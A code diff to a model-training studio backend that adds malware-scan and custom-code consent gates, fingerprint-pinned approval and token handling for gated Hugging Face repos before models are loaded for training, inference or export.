diff --git a/studio/backend/core/export/export.py b/studio/backend/core/export/export.py index b28b61f088..a0959741a4 100644 --- a/studio/backend/core/export/export.py +++ b/studio/backend/core/export/export.py @@ -145,13 +145,19 @@ class ExportBackend: max_seq_length: int = 2048, load_in_4bit: bool = True, trust_remote_code: bool = False, + hf_token: Optional[str] = None, ) -> Tuple[bool, str]: """ Load a checkpoint for export. + ``hf_token`` authenticates the actual weight load for gated/private + checkpoints, matching the token the worker used for the security preflight + (otherwise a gated repo passes scanning then 401s at from_pretrained). + Returns: Tuple of (success: bool, message: str) """ + token = hf_token if hf_token and hf_token.strip() else None try: logger.info(f"Loading checkpoint: {checkpoint_path}") @@ -169,8 +175,10 @@ class ExportBackend: model_id = base_model or checkpoint_path - self._audio_type = detect_audio_type(model_id) - self.is_vision = not self._audio_type and is_vision_model(model_id) + # Token the type-detection probes too, else a gated multimodal base + # 404s here and falls through to the text loader. + self._audio_type = detect_audio_type(model_id, hf_token = token) + self.is_vision = not self._audio_type and is_vision_model(model_id, hf_token = token) if self._audio_type == "csm": from unsloth import FastModel @@ -184,6 +192,7 @@ class ExportBackend: auto_model = CsmForConditionalGeneration, load_in_4bit = False, trust_remote_code = trust_remote_code, + token = token, ) elif self._audio_type == "whisper": @@ -197,6 +206,7 @@ class ExportBackend: load_in_4bit = False, auto_model = WhisperForConditionalGeneration, trust_remote_code = trust_remote_code, + token = token, ) elif self._audio_type == "snac": @@ -207,6 +217,7 @@ class ExportBackend: dtype = None, load_in_4bit = load_in_4bit, trust_remote_code = trust_remote_code, + token = token, ) elif self._audio_type == "bicodec": @@ -218,6 +229,7 @@ class ExportBackend: dtype = None if _IS_MLX else torch.float32, load_in_4bit = False, trust_remote_code = trust_remote_code, + token = token, ) elif self._audio_type == "dac": @@ -228,6 +240,7 @@ class ExportBackend: max_seq_length = max_seq_length, load_in_4bit = False, trust_remote_code = trust_remote_code, + token = token, ) elif self.is_vision: @@ -238,6 +251,7 @@ class ExportBackend: dtype = None, load_in_4bit = load_in_4bit, trust_remote_code = trust_remote_code, + token = token, ) tokenizer = processor # vision: processor acts as tokenizer @@ -249,6 +263,7 @@ class ExportBackend: dtype = None, load_in_4bit = load_in_4bit, trust_remote_code = trust_remote_code, + token = token, ) if _IS_MLX: diff --git a/studio/backend/core/export/orchestrator.py b/studio/backend/core/export/orchestrator.py index 20158d1891..d78866a494 100644 --- a/studio/backend/core/export/orchestrator.py +++ b/studio/backend/core/export/orchestrator.py @@ -301,6 +301,7 @@ class ExportOrchestrator: max_seq_length: int = 2048, load_in_4bit: bool = True, trust_remote_code: bool = False, + approved_remote_code_fingerprint: Optional[str] = None, hf_token: Optional[str] = None, ) -> Tuple[bool, str]: """Load a checkpoint for export. @@ -312,6 +313,7 @@ class ExportOrchestrator: "max_seq_length": max_seq_length, "load_in_4bit": load_in_4bit, "trust_remote_code": trust_remote_code, + "approved_remote_code_fingerprint": approved_remote_code_fingerprint, "hf_token": hf_token, } diff --git a/studio/backend/core/export/worker.py b/studio/backend/core/export/worker.py index fb2a893014..7216221f44 100644 --- a/studio/backend/core/export/worker.py +++ b/studio/backend/core/export/worker.py @@ -188,10 +188,16 @@ def _handle_load(backend, cmd: dict, resp_queue: Any) -> None: # Auto-enable trust_remote_code for NemotronH/Nano models. if not trust_remote_code: + from utils.security.trusted_org import is_trusted_org_repo + _NEMOTRON_TRUST_SUBSTRINGS = ("nemotron_h", "nemotron-h", "nemotron-3-nano") _cp_lower = checkpoint_path.lower() - if any(sub in _cp_lower for sub in _NEMOTRON_TRUST_SUBSTRINGS) and ( - _cp_lower.startswith("unsloth/") or _cp_lower.startswith("nvidia/") + if ( + any(sub in _cp_lower for sub in _NEMOTRON_TRUST_SUBSTRINGS) + and (_cp_lower.startswith("unsloth/") or _cp_lower.startswith("nvidia/")) + # Genuine first-party Hub repo only (not a local/spoof name starting + # with "unsloth/"); authenticated so private repos resolve. + and is_trusted_org_repo(checkpoint_path, hf_token = cmd.get("hf_token")) ): trust_remote_code = True logger.info( @@ -199,6 +205,81 @@ def _handle_load(backend, cmd: dict, resp_queue: Any) -> None: checkpoint_path, ) + # Malware gate: a poisoned pickle deserializes on load even with + # trust_remote_code False, so check HF's security scan (metadata-only) every + # load. Local checkpoints have no Hub scan and are skipped in the helper; a + # LoRA merges its base weights, so gate that repo too. + from utils.security import evaluate_file_security, security_load_subdirs + + malware_targets = [checkpoint_path] + try: + from utils.models.model_config import get_base_model_from_lora_identifier + + # Resolve a LOCAL or REMOTE adapter's base so a remote LoRA base is gated too. + _base = get_base_model_from_lora_identifier(checkpoint_path, cmd.get("hf_token")) + if _base: + malware_targets.append(_base) + except Exception as exc: + logger.debug("Could not resolve LoRA base for malware scan: %s", exc) + _hf_token = cmd.get("hf_token") + for target in dict.fromkeys(malware_targets): + _fs = evaluate_file_security( + target, hf_token = _hf_token, load_subdirs = security_load_subdirs(target, _hf_token) + ) + if _fs.blocked: + _send_response( + resp_queue, + { + "type": "loaded", + "success": False, + "message": _fs.reason, + "error_kind": "malware_blocked", + "security": _fs.response_payload(), + "ts": time.time(), + }, + ) + return + + # Consent gate: scan auto_map code before it runs; block CRITICAL/HIGH unless + # pinned-approved. A LoRA merges its base model, whose code runs, so gate it too. + if trust_remote_code: + from utils.security import evaluate_remote_code_consent_for_targets + + consent_targets = [checkpoint_path] + try: + from utils.models.model_config import get_base_model_from_lora_identifier + + # Resolve a local or remote adapter's base so its base repo is gated too. + base_model = get_base_model_from_lora_identifier(checkpoint_path, cmd.get("hf_token")) + if base_model: + consent_targets.append(base_model) + except Exception as exc: + logger.debug("Could not resolve LoRA base for consent scan: %s", exc) + # Scan adapter + base as one combined unit, pinned by a single fingerprint. + _rc = evaluate_remote_code_consent_for_targets( + consent_targets, + hf_token = cmd.get("hf_token"), + trust_remote_code = True, + approved_fingerprint = cmd.get("approved_remote_code_fingerprint"), + ) + if _rc.blocked: + _send_response( + resp_queue, + { + "type": "loaded", + "success": False, + "message": ( + f"Checkpoint '{_rc.model_name}' ships custom code flagged as " + f"{_rc.max_severity} by the security scan. Review and " + f"approve it to proceed." + ), + "error_kind": "remote_code_blocked", + "remote_code": _rc.response_payload(), + "ts": time.time(), + }, + ) + return + try: _send_response( resp_queue, @@ -214,6 +295,7 @@ def _handle_load(backend, cmd: dict, resp_queue: Any) -> None: max_seq_length = max_seq_length, load_in_4bit = load_in_4bit, trust_remote_code = trust_remote_code, + hf_token = cmd.get("hf_token"), ) _send_response( diff --git a/studio/backend/core/inference/orchestrator.py b/studio/backend/core/inference/orchestrator.py index 6b6deb1265..b81f217539 100644 --- a/studio/backend/core/inference/orchestrator.py +++ b/studio/backend/core/inference/orchestrator.py @@ -636,6 +636,7 @@ class InferenceOrchestrator: load_in_4bit: bool = True, hf_token: Optional[str] = None, trust_remote_code: bool = False, + approved_remote_code_fingerprint: Optional[str] = None, gpu_ids: Optional[list[int]] = None, ) -> bool: """Load a model for inference. @@ -659,6 +660,7 @@ class InferenceOrchestrator: "hf_token": hf_token or "", "gguf_variant": getattr(config, "gguf_variant", None), "trust_remote_code": trust_remote_code, + "approved_remote_code_fingerprint": approved_remote_code_fingerprint, "gpu_ids": gpu_ids, } resolved_gpu_ids, gpu_selection = prepare_gpu_selection( @@ -738,7 +740,8 @@ class InferenceOrchestrator: logger.info("Model '%s' loaded successfully in subprocess", model_name) return True else: - error = resp.get("error", "Failed to load model") + # Worker reports failures (consent gate included) under "message". + error = resp.get("message") or resp.get("error") or "Failed to load model" self.loading_models.discard(model_name) self.active_model_name = None self.models.clear() diff --git a/studio/backend/core/inference/worker.py b/studio/backend/core/inference/worker.py index 52d151ba15..f7435eebfb 100644 --- a/studio/backend/core/inference/worker.py +++ b/studio/backend/core/inference/worker.py @@ -260,13 +260,19 @@ def _handle_load(backend, config: dict, resp_queue: Any) -> None: # Auto-enable trust_remote_code only for NemotronH/Nano (config parsing # bugs require it). Must NOT match Llama-Nemotron (standard Llama arch). + from utils.security.trusted_org import is_trusted_org_repo + _NEMOTRON_TRUST_SUBSTRINGS = ("nemotron_h", "nemotron-h", "nemotron-3-nano") trust_remote_code = config.get("trust_remote_code", False) if not trust_remote_code: model_name = config["model_name"] _mn_lower = model_name.lower() - if any(sub in _mn_lower for sub in _NEMOTRON_TRUST_SUBSTRINGS) and ( - _mn_lower.startswith("unsloth/") or _mn_lower.startswith("nvidia/") + if ( + any(sub in _mn_lower for sub in _NEMOTRON_TRUST_SUBSTRINGS) + and (_mn_lower.startswith("unsloth/") or _mn_lower.startswith("nvidia/")) + # Genuine first-party Hub repo only (not a local/spoof name starting + # with "unsloth/"); authenticated so private repos resolve. + and is_trusted_org_repo(model_name, hf_token = hf_token) ): trust_remote_code = True logger.info( @@ -274,6 +280,65 @@ def _handle_load(backend, config: dict, resp_queue: Any) -> None: model_name, ) + # Malware gate: a poisoned pickle deserializes during from_pretrained even + # with trust_remote_code False, so check HF's security scan (metadata-only) + # every load. For a LoRA, gate the base whose weights deserialize. + from utils.security import evaluate_file_security, security_load_subdirs + + malware_targets = [config["model_name"]] + if mc.is_lora and getattr(mc, "base_model", None): + malware_targets.append(str(mc.base_model)) + for target in dict.fromkeys(malware_targets): + _fs = evaluate_file_security( + target, hf_token = hf_token, load_subdirs = security_load_subdirs(target, hf_token) + ) + if _fs.blocked: + _send_response( + resp_queue, + { + "type": "loaded", + "success": False, + "message": _fs.reason, + "error_kind": "malware_blocked", + "security": _fs.response_payload(), + "ts": time.time(), + }, + ) + return + + # Consent gate: scan auto_map code before it runs; block CRITICAL/HIGH + # unless pinned-approved. For a LoRA, gate the base whose code runs. + if trust_remote_code: + from utils.security import evaluate_remote_code_consent_for_targets + + consent_targets = [config["model_name"]] + if mc.is_lora and getattr(mc, "base_model", None): + consent_targets.append(str(mc.base_model)) + # Scan adapter + base as one unit, pinned by a single fingerprint. + _rc = evaluate_remote_code_consent_for_targets( + consent_targets, + hf_token = hf_token, + trust_remote_code = True, + approved_fingerprint = config.get("approved_remote_code_fingerprint"), + ) + if _rc.blocked: + _send_response( + resp_queue, + { + "type": "loaded", + "success": False, + "message": ( + f"Model '{_rc.model_name}' ships custom code flagged as " + f"{_rc.max_severity} by the security scan. Review " + f"and approve it to proceed." + ), + "error_kind": "remote_code_blocked", + "remote_code": _rc.response_payload(), + "ts": time.time(), + }, + ) + return + # Heartbeat every 30s so the orchestrator knows we're alive during slow loads. xet_disabled = os.environ.get("HF_HUB_DISABLE_XET") == "1" diff --git a/studio/backend/core/training/training.py b/studio/backend/core/training/training.py index 0c3d42a2fe..d8126363fe 100644 --- a/studio/backend/core/training/training.py +++ b/studio/backend/core/training/training.py @@ -315,6 +315,7 @@ class TrainingBackend: "tensorboard_dir": kwargs.get("tensorboard_dir", "runs"), "resume_from_checkpoint": kwargs.get("resume_from_checkpoint"), "trust_remote_code": kwargs.get("trust_remote_code", False), + "approved_remote_code_fingerprint": kwargs.get("approved_remote_code_fingerprint"), "gpu_ids": kwargs.get("gpu_ids"), "s3_config": kwargs.get("s3_config"), # Flipped to True only by the HTTP-fallback respawn after a stall. diff --git a/studio/backend/core/training/worker.py b/studio/backend/core/training/worker.py index 65533b6946..6374589930 100644 --- a/studio/backend/core/training/worker.py +++ b/studio/backend/core/training/worker.py @@ -1453,6 +1453,75 @@ def _run_mlx_training(event_queue, stop_queue, config): model_random_state = random_seed if _model_seed is None else int(_model_seed) _lora_seed = config.get("lora_random_state") lora_random_state = random_seed if _lora_seed is None else int(_lora_seed) + + # Malware gate (MLX): a poisoned pickle deserializes on load even with + # trust_remote_code False, so check HF's security scan (metadata-only) first. + # For a LoRA, gate the base whose weights deserialize. + from utils.security import evaluate_file_security + + malware_targets = [model_name] + try: + from utils.models.model_config import get_base_model_from_lora_identifier + + # Resolve a LOCAL or REMOTE adapter's base so a remote LoRA base is gated too. + _base = get_base_model_from_lora_identifier(model_name, config.get("hf_token") or None) + if _base: + malware_targets.append(_base) + except Exception as exc: + logger.debug("Could not resolve LoRA base for malware scan: %s", exc) + from utils.security import security_load_subdirs + + for target in dict.fromkeys(malware_targets): + _fs = evaluate_file_security( + target, hf_token = hf_token, load_subdirs = security_load_subdirs(target, hf_token) + ) + if _fs.blocked: + _send( + "error", + error = _fs.reason, + error_kind = "malware_blocked", + security = _fs.response_payload(), + ) + return + + # Consent gate (MLX): the CUDA path gates in run_training_process, but MLX returns + # before that, so scan auto_map code here before FastMLXModel runs it. Block + # CRITICAL/HIGH unless pinned-approved; for a LoRA, gate the base whose code runs. + if config.get("trust_remote_code", False): + from utils.security import evaluate_remote_code_consent_for_targets + + consent_targets = [model_name] + try: + from utils.models.model_config import get_base_model_from_lora_identifier + + # Resolve a LOCAL or REMOTE adapter's base so a remote LoRA base is gated too. + base_model = get_base_model_from_lora_identifier( + model_name, config.get("hf_token") or None + ) + if base_model: + consent_targets.append(base_model) + except Exception as exc: + logger.debug("Could not resolve LoRA base for consent scan: %s", exc) + # Scan adapter + base as one combined unit, pinned by a single fingerprint. + _rc = evaluate_remote_code_consent_for_targets( + consent_targets, + hf_token = hf_token, + trust_remote_code = True, + approved_fingerprint = config.get("approved_remote_code_fingerprint"), + ) + if _rc.blocked: + _send( + "error", + error = ( + f"Model '{_rc.model_name}' ships custom code flagged as " + f"{_rc.max_severity} by the security scan. Review it and " + f"re-run with approval to proceed.\n\n{_rc.findings_summary}" + ), + error_kind = "remote_code_blocked", + remote_code = _rc.response_payload(), + ) + return + model, tokenizer = FastMLXModel.from_pretrained( model_name, load_in_4bit = config.get("load_in_4bit", True), @@ -2100,11 +2169,16 @@ def run_training_process(*, event_queue: Any, stop_queue: Any, config: dict) -> # NemotronH needs trust_remote_code=True to work around config-parsing bugs. # Other 5.x models are native and don't need it (it bypasses the compiler, # disabling fused CE). Must NOT match Llama-Nemotron (standard Llama arch). + from utils.security.trusted_org import is_trusted_org_repo + _NEMOTRON_TRUST_SUBSTRINGS = ("nemotron_h", "nemotron-h", "nemotron-3-nano") _lowered = model_name.lower() if ( any(sub in _lowered for sub in _NEMOTRON_TRUST_SUBSTRINGS) and (_lowered.startswith("unsloth/") or _lowered.startswith("nvidia/")) + # Confirm a genuine first-party Hub repo (not a local/spoofed name starting + # with "unsloth/"); authenticated so private first-party repos resolve. + and is_trusted_org_repo(model_name, hf_token = config.get("hf_token") or None) and not config.get("trust_remote_code", False) ): config["trust_remote_code"] = True @@ -2113,6 +2187,81 @@ def run_training_process(*, event_queue: Any, stop_queue: Any, config: dict) -> model_name, ) + # 1a. Malware gate: a poisoned pickle deserializes on load even with + # trust_remote_code False, so check HF's security scan (metadata-only) first. + # For a LoRA, gate the base whose weights deserialize. + from utils.security import evaluate_file_security + + malware_targets = [model_name] + try: + from utils.models.model_config import get_base_model_from_lora_identifier + + # Resolve a LOCAL or REMOTE adapter's base so a remote LoRA base is gated too. + _base = get_base_model_from_lora_identifier(model_name, config.get("hf_token") or None) + if _base: + malware_targets.append(_base) + except Exception as exc: + logger.debug("Could not resolve LoRA base for malware scan: %s", exc) + from utils.security import security_load_subdirs + + _ls_hf = config.get("hf_token") or None + for target in dict.fromkeys(malware_targets): + _fs = evaluate_file_security( + target, hf_token = _ls_hf, load_subdirs = security_load_subdirs(target, _ls_hf) + ) + if _fs.blocked: + event_queue.put( + { + "type": "error", + "error": _fs.reason, + "error_kind": "malware_blocked", + "security": _fs.response_payload(), + "ts": time.time(), + } + ) + return + + # 1a'. Consent gate: scan auto_map Python before it runs; refuse CRITICAL/HIGH + # unless pinned-approved. + if config.get("trust_remote_code", False): + from utils.security import evaluate_remote_code_consent_for_targets + + # A LoRA adapter's base is where custom code runs, so gate it too. + consent_targets = [model_name] + try: + from utils.models.model_config import get_base_model_from_lora_identifier + + # Resolve a LOCAL or REMOTE adapter's base so a remote LoRA base is gated too. + base_model = get_base_model_from_lora_identifier( + model_name, config.get("hf_token") or None + ) + if base_model: + consent_targets.append(base_model) + except Exception as exc: + logger.debug("Could not resolve LoRA base for consent scan: %s", exc) + # Scan adapter + base as one combined unit, pinned by a single fingerprint. + _rc = evaluate_remote_code_consent_for_targets( + consent_targets, + hf_token = config.get("hf_token") or None, + trust_remote_code = True, + approved_fingerprint = config.get("approved_remote_code_fingerprint"), + ) + if _rc.blocked: + event_queue.put( + { + "type": "error", + "error": ( + f"Model '{_rc.model_name}' ships custom code flagged as " + f"{_rc.max_severity} by the security scan. Review it and " + f"re-run with approval to proceed.\n\n{_rc.findings_summary}" + ), + "error_kind": "remote_code_blocked", + "remote_code": _rc.response_payload(), + "ts": time.time(), + } + ) + return + # ── 1b. Install fast-path kernel libraries for the chosen model. # 1) causal-conv1d ALWAYS runs eagerly via the substring path: some SSM # modeling files lazy_load it without calling is_causal_conv1d_available. @@ -3064,6 +3213,73 @@ def _run_embedding_training(event_queue: Any, stop_queue: Any, config: dict) -> training_type = config.get("training_type", "LoRA/QLoRA") use_lora = training_type == "LoRA/QLoRA" + # Malware gate (embedding): a poisoned pickle deserializes on load even with + # trust_remote_code False, so check HF's security scan (metadata-only) first. + # For a LoRA, gate the base whose weights deserialize. + from utils.security import evaluate_file_security + + malware_targets = [model_name] + try: + from utils.models.model_config import get_base_model_from_lora_identifier + _base = get_base_model_from_lora_identifier(model_name, hf_token) + if _base: + malware_targets.append(_base) + except Exception as exc: + logger.debug("Could not resolve LoRA base for malware scan: %s", exc) + from utils.security import security_load_subdirs + + for target in dict.fromkeys(malware_targets): + _fs = evaluate_file_security( + target, hf_token = hf_token, load_subdirs = security_load_subdirs(target, hf_token) + ) + if _fs.blocked: + event_queue.put( + { + "type": "error", + "error": _fs.reason, + "error_kind": "malware_blocked", + "security": _fs.response_payload(), + "ts": time.time(), + } + ) + return + + # Consent gate (embedding): scan any auto_map code before it runs; block + # CRITICAL/HIGH unless pinned-approved. A no-op without auto_map. + if config.get("trust_remote_code", False): + from utils.security import evaluate_remote_code_consent_for_targets + + consent_targets = [model_name] + try: + from utils.models.model_config import get_base_model_from_lora_identifier + _cbase = get_base_model_from_lora_identifier(model_name, hf_token) + if _cbase: + consent_targets.append(_cbase) + except Exception as exc: + logger.debug("Could not resolve LoRA base for consent scan: %s", exc) + # Scan adapter + base as one combined unit, pinned by a single fingerprint. + _rc = evaluate_remote_code_consent_for_targets( + consent_targets, + hf_token = hf_token, + trust_remote_code = True, + approved_fingerprint = config.get("approved_remote_code_fingerprint"), + ) + if _rc.blocked: + event_queue.put( + { + "type": "error", + "error": ( + f"Model '{_rc.model_name}' ships custom code flagged as " + f"{_rc.max_severity} by the security scan. Review it and " + f"re-run with approval to proceed.\n\n{_rc.findings_summary}" + ), + "error_kind": "remote_code_blocked", + "remote_code": _rc.response_payload(), + "ts": time.time(), + } + ) + return + model = FastSentenceTransformer.from_pretrained( model_name = model_name, max_seq_length = max_seq_length, diff --git a/studio/backend/models/export.py b/studio/backend/models/export.py index 584f82dea0..6237197072 100644 --- a/studio/backend/models/export.py +++ b/studio/backend/models/export.py @@ -51,6 +51,14 @@ class LoadCheckpointRequest(BaseModel): False, description = "Allow loading models with custom code. Only enable for checkpoints/base models you trust.", ) + approved_remote_code_fingerprint: Optional[str] = Field( + None, + description = "sha256 fingerprint from the remote-code scan, pinning user approval of this exact custom-code version.", + ) + hf_token: Optional[str] = Field( + None, + description = "Hugging Face token used to scan/load gated checkpoints and their base models.", + ) class ExportStatusResponse(BaseModel): diff --git a/studio/backend/models/inference.py b/studio/backend/models/inference.py index fdc3bb25c6..88799604e0 100644 --- a/studio/backend/models/inference.py +++ b/studio/backend/models/inference.py @@ -42,6 +42,10 @@ class LoadRequest(BaseModel): False, description = "Allow loading models with custom code (e.g. NVIDIA Nemotron). Only enable for repos you trust.", ) + approved_remote_code_fingerprint: Optional[str] = Field( + None, + description = "sha256 fingerprint from the remote-code scan, pinning user approval of this exact custom-code version.", + ) chat_template_override: Optional[str] = Field( None, description = "Custom Jinja2 chat template to use instead of the model's default", @@ -149,6 +153,11 @@ class ValidateModelResponse(BaseModel): False, description = "Whether the model defaults require trust_remote_code to be enabled for loading.", ) + requires_security_review: bool = Field( + False, + description = "Whether Hugging Face's security scan flagged unsafe files (e.g. a " + "malicious pickle), so the load is hard-blocked pending review.", + ) context_length: Optional[int] = Field( None, description = "Native training context length, read from the GGUF header when the file " diff --git a/studio/backend/models/training.py b/studio/backend/models/training.py index 6cf8907b84..ae3061d943 100644 --- a/studio/backend/models/training.py +++ b/studio/backend/models/training.py @@ -108,6 +108,10 @@ class TrainingStartRequest(BaseModel): False, description = "Allow loading models with custom code (e.g. NVIDIA Nemotron). Only enable for repos you trust.", ) + approved_remote_code_fingerprint: Optional[str] = Field( + None, + description = "sha256 fingerprint from the remote-code scan, pinning user approval of this exact custom-code version.", + ) # Dataset parameters hf_dataset: Optional[str] = Field(None, description = "HuggingFace dataset identifier") diff --git a/studio/backend/routes/export.py b/studio/backend/routes/export.py index f7b3a56a71..1b71cf5f57 100644 --- a/studio/backend/routes/export.py +++ b/studio/backend/routes/export.py @@ -93,6 +93,8 @@ async def load_checkpoint( max_seq_length = request.max_seq_length, load_in_4bit = request.load_in_4bit, trust_remote_code = request.trust_remote_code, + approved_remote_code_fingerprint = request.approved_remote_code_fingerprint, + hf_token = request.hf_token, ) if not success: diff --git a/studio/backend/routes/inference.py b/studio/backend/routes/inference.py index 0b95ad3987..bfceb9b904 100644 --- a/studio/backend/routes/inference.py +++ b/studio/backend/routes/inference.py @@ -2037,9 +2037,8 @@ async def load_model( audio_type = _gguf_audio, has_audio_input = getattr(llama_backend, "_has_audio_input", False), inference = inference_config, - requires_trust_remote_code = bool( - inference_config.get("trust_remote_code", False) - ), + # GGUF loads via llama.cpp: auto_map never executes, so inert (matches validate_model). + requires_trust_remote_code = False, context_length = llama_backend.context_length, max_context_length = llama_backend.max_context_length, native_context_length = llama_backend.native_context_length, @@ -2086,8 +2085,8 @@ async def load_model( audio_type = _model_info.get("audio_type"), has_audio_input = _model_info.get("has_audio_input", False), inference = inference_config, - requires_trust_remote_code = bool( - inference_config.get("trust_remote_code", False) + requires_trust_remote_code = _resolve_loaded_trust_remote_code( + backend.active_model_name, _model_info, inference_config ), supports_reasoning = _sf_supports_reasoning, reasoning_style = _sf_reasoning_style, @@ -2325,7 +2324,8 @@ async def load_model( audio_type = _gguf_audio, has_audio_input = llama_backend._has_audio_input, inference = inference_config, - requires_trust_remote_code = bool(inference_config.get("trust_remote_code", False)), + # GGUF loads via llama.cpp: auto_map never executes, so inert (matches validate_model). + requires_trust_remote_code = False, context_length = llama_backend.context_length, max_context_length = llama_backend.max_context_length, native_context_length = llama_backend.native_context_length, @@ -2418,6 +2418,7 @@ async def load_model( load_in_4bit = load_in_4bit, hf_token = request.hf_token, trust_remote_code = request.trust_remote_code, + approved_remote_code_fingerprint = request.approved_remote_code_fingerprint, gpu_ids = effective_gpu_ids, ) @@ -2458,6 +2459,23 @@ async def load_model( # Classify reasoning/tool flags via the GGUF sniffer. _sf_flags = _detect_safetensors_features(backend, _chat_template) + # Report validate_model's requirement (raw auto_map OR YAML) plus the value the + # load used, and persist it, so a later retry/rollback doesn't send + # trust_remote_code=false for a custom-code model (and status reports it too). + _requires_rc = _resolve_loaded_trust_remote_code( + config.identifier, + None, + inference_config, + request.hf_token, + trust_remote_code_used = bool(getattr(request, "trust_remote_code", False)), + ) + try: + backend.models.setdefault(config.identifier, {})["requires_trust_remote_code"] = ( + _requires_rc + ) + except Exception: + pass + return LoadResponse( status = "loaded", model = model_log_label if native_grant_backed else config.identifier, @@ -2469,7 +2487,7 @@ async def load_model( audio_type = config.audio_type, has_audio_input = config.has_audio_input, inference = inference_config, - requires_trust_remote_code = bool(inference_config.get("trust_remote_code", False)), + requires_trust_remote_code = _requires_rc, supports_reasoning = _sf_flags["supports_reasoning"], reasoning_style = _sf_flags["reasoning_style"], reasoning_always_on = _sf_flags["reasoning_always_on"], @@ -2522,6 +2540,76 @@ async def load_model( raise HTTPException(status_code = 500, detail = f"Failed to load model: {msg}") +def _requires_trust_remote_code_for_model( + model_identifier: str, hf_token: Optional[str] = None +) -> bool: + """Whether loading this model would execute custom repo code, so the consent + dialog must run first. True if the Studio YAML default enables + ``trust_remote_code`` OR the raw config declares an ``auto_map`` (Hub/local, + config.json or tokenizer_config.json). Reads raw JSON only; never imports + model code.""" + from utils.inference import load_inference_config + + try: + if bool(load_inference_config(model_identifier).get("trust_remote_code", False)): + return True + except Exception: + pass + try: + from utils.security.consent import _config_has_auto_map + return _config_has_auto_map(model_identifier, hf_token) is True + except Exception: + return False + + +def _resolve_loaded_trust_remote_code( + model_id, + model_info, + inference_config, + hf_token = None, + trust_remote_code_used = False, +) -> bool: + """TRC requirement to report for an ALREADY-LOADED model, consistent with + ``validate_model``. + + ``validate_model`` reports ``requires_trust_remote_code`` from + ``_requires_trust_remote_code_for_model`` (YAML default OR raw ``auto_map``), but + the load / already-loaded / status responses historically reported only the YAML + default. That dropped raw-``auto_map`` models: after approving and loading one, the + response said ``false``, so the frontend stored ``false`` and a later retry/rollback + sent ``trust_remote_code=false`` and failed. + + Resolution order: a value stored on the model at load time (so a status refresh does + not re-derive it) -> the trust_remote_code the load actually used -> the YAML default + -> the raw ``auto_map`` check (reads the loaded model's cached config; no network).""" + stored = (model_info or {}).get("requires_trust_remote_code") + if stored is not None: + return bool(stored) + if trust_remote_code_used or bool((inference_config or {}).get("trust_remote_code", False)): + return True + try: + return bool(_requires_trust_remote_code_for_model(model_id, hf_token)) + except Exception: + return False + + +def _requires_security_review_for_model( + model_identifier: str, hf_token: Optional[str] = None +) -> bool: + """Whether Hugging Face's security scan flagged unsafe files for this repo, so + the consent dialog must open as a hard block before loading. Metadata-only; + never downloads the flagged files. Fails open (False) on any error.""" + try: + from utils.security import evaluate_file_security, security_load_subdirs + return evaluate_file_security( + model_identifier, + hf_token, + load_subdirs = security_load_subdirs(model_identifier, hf_token), + ).blocked + except Exception: + return False + + @router.post("/validate", response_model = ValidateModelResponse) async def validate_model( request: ValidateModelRequest, current_subject: str = Depends(get_current_subject) @@ -2550,7 +2638,34 @@ async def validate_model( detail = f"Invalid model identifier: {model_log_label}", ) + # Both checks cover the [adapter, base] set (matching the scan route and workers): + # either repo can ship auto_map code or a poisoned pickle. + security_targets = [config.identifier] + try: + from utils.models.model_config import get_base_model_from_lora_identifier + + # Resolve a LOCAL or REMOTE adapter's base so its code/weights are reviewed too. + _base = get_base_model_from_lora_identifier(model_identifier, request.hf_token) + if _base: + security_targets.append(_base) + except Exception: + pass + security_targets = list(dict.fromkeys(security_targets)) + is_gguf = getattr(config, "is_gguf", False) + # A selected GGUF loads via llama.cpp: auto_map Python and root pickle weights in a + # mixed repo are inert for this load, so gating on them is a false positive. Only + # run the remote-code/security preflight for non-GGUF loads. + requires_trust_remote_code = False + requires_security_review = False + if not is_gguf: + requires_trust_remote_code = any( + _requires_trust_remote_code_for_model(_t, request.hf_token) + for _t in security_targets + ) + requires_security_review = any( + _requires_security_review_for_model(_t, request.hf_token) for _t in security_targets + ) # Native context length, read from the local GGUF header when present. # Lets the staged ("Load on selection" off) flow populate the context # slider before the GPU load; None until the file is downloaded. @@ -2587,9 +2702,8 @@ async def validate_model( is_gguf = is_gguf, is_lora = getattr(config, "is_lora", False), is_vision = getattr(config, "is_vision", False), - requires_trust_remote_code = bool( - load_inference_config(config.identifier).get("trust_remote_code", False) - ), + requires_trust_remote_code = requires_trust_remote_code, + requires_security_review = requires_security_review, context_length = context_length, ) @@ -2898,9 +3012,8 @@ async def get_status(current_subject: str = Depends(get_current_subject)): loading = [], loaded = [_display_model_id] if _display_model_id else [], inference = _inference_cfg, - requires_trust_remote_code = bool( - (_inference_cfg or {}).get("trust_remote_code", False) - ), + # GGUF status: auto_map never executes, so inert (matches validate_model). + requires_trust_remote_code = False, supports_reasoning = llama_backend.supports_reasoning, reasoning_style = llama_backend.reasoning_style, reasoning_always_on = llama_backend.reasoning_always_on, @@ -2958,8 +3071,8 @@ async def get_status(current_subject: str = Depends(get_current_subject)): loading = list(getattr(backend, "loading_models", set())), loaded = list(backend.models.keys()), inference = inference_config, - requires_trust_remote_code = bool( - (inference_config or {}).get("trust_remote_code", False) + requires_trust_remote_code = _resolve_loaded_trust_remote_code( + backend.active_model_name, model_info, inference_config ), supports_reasoning = _sf_flags["supports_reasoning"], reasoning_style = _sf_flags["reasoning_style"], diff --git a/studio/backend/routes/models.py b/studio/backend/routes/models.py index c05522e64a..8eec7777c4 100644 --- a/studio/backend/routes/models.py +++ b/studio/backend/routes/models.py @@ -1532,16 +1532,22 @@ async def get_model_config( except Exception: pass - # Fallback: try AutoConfig directly. + # Fallback: read raw config.json (declarative fields only) -- a selection-time + # metadata probe that must never execute a repo's auto_map Python. if max_position_embeddings is None: try: - from transformers import AutoConfig as _AutoConfig + from utils.transformers_version import _load_config_json + from types import SimpleNamespace - _trust = model_name.lower().startswith("unsloth/") - _ac = _AutoConfig.from_pretrained( - model_name, trust_remote_code = _trust, token = hf_token - ) - max_position_embeddings = _get_max_position_embeddings(_ac) + _cfg = _load_config_json(model_name, hf_token = hf_token) + if _cfg is not None: + + def _to_ns(d): + if isinstance(d, dict): + return SimpleNamespace(**{k: _to_ns(v) for k, v in d.items()}) + return d + + max_position_embeddings = _get_max_position_embeddings(_to_ns(_cfg)) except Exception: pass @@ -1574,6 +1580,195 @@ async def get_model_config( ) +@router.post("/remote-code-scan") +async def scan_model_remote_code( + model_name: str = Body(..., embed = True), + hf_token: Optional[str] = Body(None, embed = True), + current_subject: str = Depends(get_current_subject), +): + """Scan a model's ``auto_map`` custom code so the UI can show findings before + the user enables ``trust_remote_code``. Code-free: reads ``config.json`` and + statically scans the repo ``.py`` (never loads the model). Returns + ``has_remote_code`` plus the severity-tagged findings + a pinning 